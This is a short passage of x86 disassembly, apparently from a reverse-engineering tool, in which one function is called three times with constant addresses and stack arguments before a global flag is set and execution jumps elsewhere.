push 0x432e2c
push dword [ebp + 0xc]
call fcn.0040a42e
push 0x4324bc
push dword [ebp + 0x18]
push 0x432e1c
push dword [ebp + 0xc]
call fcn.0040a42e
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0x43523c
push dword [ebp + 0xc]
call fcn.0040a42e
add esp, 0x2c
push 1
pop eax
mov dword [0x4888e8], eax
jmp 0x40e64e